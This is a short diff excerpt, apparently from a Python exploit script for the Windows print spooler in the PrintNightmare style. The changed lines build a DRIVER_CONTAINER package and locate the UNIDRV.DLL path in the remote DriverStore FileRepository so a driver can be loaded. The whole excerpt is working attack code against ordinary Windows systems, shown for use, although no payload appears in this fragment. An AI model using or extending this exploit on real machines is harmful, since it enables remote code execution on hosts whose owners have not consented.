|
|
|
@ -66,7 +66,7 @@ def getDrivers(dce, handle=NULL): |
|
|
|
|
return blob |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def main(dce, pDriverPath, share): |
|
|
|
|
def main(dce, pDriverPath, share, handle=NULL): |
|
|
|
|
#build DRIVER_CONTAINER package |
|
|
|
|
container_info = rprn.DRIVER_CONTAINER() |
|
|
|
|
container_info['Level'] = 2 |
|
|
|
@ -157,7 +157,7 @@ Example; |
|
|
|
|
try: |
|
|
|
|
blob = getDrivers(dce, handle) |
|
|
|
|
pDriverPath = str(pathlib.PureWindowsPath(blob['DriverPathArray']).parent) + '\\UNIDRV.DLL' |
|
|
|
|
if not "filerepository" in pDriverPath: |
|
|
|
|
if not "FileRepository" in pDriverPath: |
|
|
|
|
print("[-] pDriverPath {0}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\.....".format(pDriverPath)) |
|
|
|
|
print("[-] Specify pDriverPath manually") |
|
|
|
|
sys.exit(1) |
|
|
|
|